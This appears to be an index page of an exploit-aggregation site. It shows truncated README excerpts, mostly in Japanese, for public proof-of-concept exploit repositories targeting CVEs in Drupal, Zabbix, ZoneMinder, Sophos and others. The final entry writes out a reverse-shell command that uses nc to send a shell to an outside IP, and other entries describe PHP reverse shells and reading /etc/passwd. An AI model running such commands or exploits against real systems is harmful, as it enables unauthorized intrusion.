CVE-2025-50461

CVE-2025-50461: Verl における安全でないモデルデシリアライゼーションを通じたリモートコード実行 ステータス: 予約済み このCVE IDは割り当てられていますが、公式のCVEリストにはまだ公開されていません。 Volcengineのverl 3.0.0には、特に "fsdp" バックエンドを使用する際の scripts/modelmerger.py スクリプトにデシリアライゼーションの脆弱性が存在します。このスクリプトは、ユーザーが提供した .pt ファイルに対して weightsonly=False で torch.load...

CVE-2016-010033-010045

CVE-2016-010033-010045 Python3に移植されたPhp mail RCE CVE-2016-010033/45 はじめに 以下の手順に従って、開発およびテスト目的でローカルマシンにプロジェクトのコピーをセットアップできます。本番環境へのデプロイについては、デプロイメントのセクションを参照してください。 前提条件 Python3 インストール root@kitploit: apt-get install python3 root@kitploit: git clone...

CVE-2018-7600

Listo, Dewa, también agregué la sección de uso desde git clone, así que el README está completo. Esta es la versión final que solo tienes que copiar y pegar en README.md en tu repo de GitHub. CVE-2018-7600 - Exploit RCE de Drupalgeddon2 Este exploit aprovecha la vulnerabilidad Drupal 7.56 y algun...

CVE-2018-7600-Remote-Code-Execution

Drupalgeddon2 Python エクスプロイト CVE-2018-7600 このリポジトリには、Drupalgeddon2（CVE-2018-7600）として知られるDrupalの深刻なリモートコード実行脆弱性に対するPythonベースの概念実証エクスプロイトが含まれています。このスクリプトは、教育目的およびセキュリティ専門家が許可されたペネトレーションテストシナリオで使用するために設計されています。 📜 免責事項...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse エクスプロイト 説明 このエクスプロイトは、Remote Mouse アプリケーション（旧 WiFi Mouse）の CVE-2021-35448 脆弱性を標的としています。 POC CVE-2021-35448.webm 使用方法 基本構文 root@kitploit: python3 CVE-2021-35448.py -t OPTIONS オプション -t, --target: ターゲットIPアドレス（必須） -p, --payload: 実行するカスタムコマンド -r, --reverse: IP:PORT...

PoC-CVE-2015-10141-Xdebug

PoC-CVE-2015-10141 针对 Xdebug ≤ 2.5.5（CVE-2015-10141）的自定义 Python 漏洞利用程序。 描述 本仓库包含我针对 Xdebug 远程代码执行漏洞 （版本 2.5.5 及更早版本 ）的概念验证（PoC）漏洞利用程序 。 该脚本利用端口 9000 上暴露的未授权调试协议 来实现远程命令执行 。 漏洞 ：CVE-2015-10141 漏洞类型 ：远程代码执行（RCE） 受影响软件 ：Xdebug ≤ 2.5.5 使用方法 root@kitploit: git clone...

CVE-2016-0792

Jenkinsのシリアライゼーション脆弱性のエクスプロイト - CVE-2016-0792 https://www.exploit-db.com/exploits/42394/ 詳細情報はこちら 1. Contrast Security 2. Pentester Lab 必要条件 1. Python 3.6.x 2. requests ライブラリがこのエクスプロイトには必要です sudo pip install requests 使用方法 旧方式 新方式 root@kitploit: python3 exp.py -u -c root@kitploit: usage: exploit.p...

CVE-2024-42327_Zabbix_SQLi

🛡️ Zabbix 7.0.0 SQLインジェクションエクスプロイトスクリプト 認証済みのZabbix 7.0.0 SQLインジェクション脆弱性を悪用するPythonスクリプトで、ユーザーデータ抽出、セッショントークン漏洩、リモートコマンド実行（RCE）、カスタムクエリインジェクションなど、複数の動作モードをサポートしています。 ⚠️ 免責事項: このスクリプトは教育目的 および許可されたペネトレーションテスト のみを対象としています。 所有していない、または明示的なテスト許可がないシステムでは使用しないでください 。...

react2shell-test-server

React2Shell テストサーバー React2Shell CVE-2025-55182 脆弱性の実証とテストを行うためのテストサーバー 説明 私たちは React2Shell RCE CVE-2025-55182 が公開されて以来、この脆弱性の調査を行い、お客様と共にその防止に取り組んできました。このテストサーバーをオープンソース化することで、React2Shell CVE-2025-55182 脆弱性の発見とテストを可能にします。これは、セキュリティチームが検出能力をテストし、WAF ルールを検証し、制御された環境で攻撃メカニズムを理解するために使用されることを意図しています。...

zoneminder_CVE-2023-26035

エクスプロイト - ZoneMinder CVE-2023-26035 ZoneMinder スナップショットに影響する 認証なしリモートコード実行 RCE があります。 これは CVE-2023-26035 のエクスプロイト です。 影響を受けるバージョン ZoneMinder 1.36.33 未満 および ZoneMinder 1.37.33 未満 。 使用方法 ターゲットが脆弱かどうかを確認: root@kitploit: python3 zoneminder.py http://target コマンドを実行 root@kitploit: python3 zoneminder.py...

CVE-2020-5902

CVE-2020-5902 CVE-2020-5902（F5 BIG-IP デバイス）をチェックする Python スクリプト。 使用方法 root@kitploit: python3 CVE-2020-5902.py -i 出力例 root@kitploit: - Python script to check CVE-2020-5902 F5 BIG-IP devices. | coded by Abdullah AlZahrani ! ターゲット: 127.0.0.1 I /etc/passwd 読み取り可能 PoC...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - リモートコード実行エクスプロイト v2 Open Web Analytics 1.7.3 - RCE の実用的なエクスプロイト、pentestmonkey の PHP リバースシェル で拡張、キャッシュ内のユーザーが見つからない問題を修正。 元のエクスプロイトはこちらにあります。 使い方 攻撃マシンのIPアドレスとポートを php-reverse-shell.php ファイルに追加し、exploit.py を引数 -u（脆弱なターゲットURLを指定）で実行してください。 root@kitploit:...

Chamilo-CVE-2023-4220-RCE-Exploit

CVE-2023-4220 Chamilo LMS 認証不要の大規模アップロードファイルリモートコード実行 概要 このリポジトリには、Chamilo LMS において特定された脆弱性 CVE-2023-4220 の概念実証（PoC）エクスプロイトが含まれています。このエクスプロイトは認証不要のファイルアップロード脆弱性を利用し、リモートの攻撃者が影響を受けるシステム上で任意のコードを実行することを可能にします。 免責事項: このコードは教育および研究目的のみに提供されています。著者はこのコードの誤用について一切の責任を負いません。 詳細 CVE ID: CVE-2023-4220...

CVE-2019-3980

CVE-2019-3980 CVE-2019-3980 のエクスプロイト、win32/c++ で記述（openssl 依存）。https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcsdwDrvInstrce.py の移植版。 手順 この PoC は静的リンクされた openssl ライブラリを必要とします。openssl のインクルードファイルを thirdparty\include\openssl に、ライブラリを thirdparty\libs\openssl$PlatformShortName...

CVE-2024-49379

CVE-2024-49379 の Proof of Concept PoC このリポジトリには、UmbrelOS で特定された重大な脆弱性に対する Python ベースの Proof of Concept PoC が含まれています。この脆弱性は、特定の条件下で Remote Code Execution RCE にエスカレーションし得る Cross-Site Scripting XSS を可能にします。 概要 CVE : CVE-2024-49379 深刻度 : Critical 脆弱性の種類 : Remote Code Execution RCE につながる Cross-Site...

CVE-2024-10586

CVE-2024-10586 Debug Tool = 2.2 - 認証されていない任意のファイル作成 説明: WordPress用Debug Toolプラグインは、バージョン2.2までのすべてのバージョンにおいて、dbtpullimage関数機能に対するcapabilityチェックの欠如とファイルタイプ検証の欠如により、任意のファイル作成が可能になる脆弱性があります。これにより、認証されていない攻撃者がリモートコード実行に悪用可能な.phpファイルなどの任意のファイルを作成できる可能性があります。 root@kitploit: CVE: CVE-2024-10586 CVSS:...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin ポータルの認証バイパスとRCEをすべて1つのスクリプトに統合; この脆弱性はSophos Firewall v18.5 MR3 18.5.3 およびそれ以前のバージョンに影響します。 緩和策: できるだけ早く最新バージョンに更新してください https://support.sophos.com/support/s/article/KB-000043853?language=enUS このスクリプトの悪用を防ぐため、無料ではありません:...

Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230

CVE-2026-20230 Cisco Unified Communications Manager SSRF 任意文件写入到 RCE PoC 推导过程与思考 适用范围：仅用于本地靶场、授权复现环境、漏洞验证和防护规则分析。不要对未授权目标使用。本文主要分析 CVE-2026-20230 的利用链条、可验证现象、判断逻辑和防护思路，不提供可直接复制执行的攻击报文、WebShell 内容或命令执行载荷。 1. 漏洞背景 CVE-2026-20230 是 Cisco Unified Communications Manager（Unified CM / CUCM）和 Cisco...

POC-IngressNightmare-CVE-2025-1974

IngressNightmare CVE-2025-1974 のPOC 以下を基に開発: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities 口で言うのは簡単だ。コードを見てください。 詳細は https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities をご覧ください。 使用方法 1. shell.c 内のIPアドレスを変更する 2...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC n0o0b による CVE-2023-30258-RCE の POC 使い方 root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD...